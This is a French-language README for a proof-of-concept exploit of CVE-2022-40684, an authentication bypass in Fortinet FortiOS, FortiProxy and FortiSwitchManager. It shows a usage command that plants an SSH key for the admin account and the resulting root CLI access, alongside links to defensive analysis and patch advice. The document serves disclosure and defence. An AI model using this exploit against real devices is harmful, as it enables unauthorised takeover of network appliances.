horizon3ai/cve-2022-40684Un exploit de preuve de concept pour CVE-2022-40684 affectant Fortinet FortiOS, FortiProxy, et FortiSwitchManager
POC pour CVE-2022-40684 affectant les appareils Fortinet FortiOS, FortiProxy et FortiSwitchManager.
Une analyse technique de la cause racine de la vulnérabilité peut être trouvée sur notre blog : https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684
Pour analyser les logs Fortinet à la recherche d'indicateurs de compromission et savoir comment activer des logs plus détaillés, consultez notre blog sur les IOC : https://www.horizon3.ai/fortinet-iocs-cve-2022-40684/
Ce POC exploite la vulnérabilité de contournement d'authentification pour définir une clé SSH pour l'utilisateur spécifié.
root@kali:~# python3 CVE-2022-40684.py -t 10.0.40.67 --username admin --key-file ~/.ssh/id_rsa.pub
[+] SSH key for admin added successfully!
root@kali:~# ssh [email protected]
fortios_7_2_1 #
config Configure object.
get Get dynamic and system information.
show Show configuration.
diagnose Diagnose facility.
execute Execute static commands.
alias Execute alias commands.
exit Exit the CLI.
Mettez à jour vers la dernière version ou atténuez en suivant les instructions dans le PSIRT de Fortinet
Ce logiciel a été créé purement à des fins de recherche académique et pour le développement de techniques défensives efficaces, et n'est pas destiné à être utilisé pour attaquer des systèmes sauf autorisation explicite. Les mainteneurs du projet ne sont pas responsables de l'utilisation abusive du logiciel. Utilisez-le de manière responsable.